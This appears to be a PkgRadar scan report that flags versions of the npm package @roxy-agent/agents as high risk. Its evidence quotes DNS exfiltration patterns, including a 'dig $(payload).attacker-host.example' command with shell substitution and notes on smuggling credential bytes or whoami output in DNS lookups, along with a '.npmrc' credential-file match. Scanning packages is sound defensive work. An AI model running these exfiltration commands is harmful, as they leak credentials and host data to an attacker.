npm · registry.npmjs.org
@roxy-agent/agents
DNS / OAST exfiltration: matched "dig $(payload).attacker-host.example +short for dns exfil\",\n \"smuggle credential bytes inside dns lookup labels\",\n \"nslookup with shell substitution embedding hostname or whoami in the query\",\n \"host $("
Why PkgRadar flagged 0.5.2
| Severity | Signal | Evidence |
|---|---|---|
| high | DNS / OAST exfiltration | matched "dig $(payload).attacker-host.example +short for dns exfil\",\n \"smuggle credential bytes inside dns lookup labels\",\n \"nslookup with shell substitution embedding hostname or whoami in the query\",\n \"host $(" · package/dist/ml/prototypes.js |
| medium | Credential file access | matched ".npmrc" · package/dist/classifier.js |
Scanned versions
| Version | Verdict | Score | Scanned (UTC) |
|---|---|---|---|
0.5.2 | High risk | 55 | 2026-06-10 |
0.5.4 | High risk | 55 | 2026-06-10 |
0.5.6 | High risk | 50 | 2026-06-10 |
0.5.5 | High risk | 55 | 2026-06-10 |
0.5.1 | High risk | 55 | 2026-06-10 |
0.5.0 | High risk | 55 | 2026-06-10 |
Block this in CI
pkgradar gate --ecosystem npm @roxy-agent/[email protected]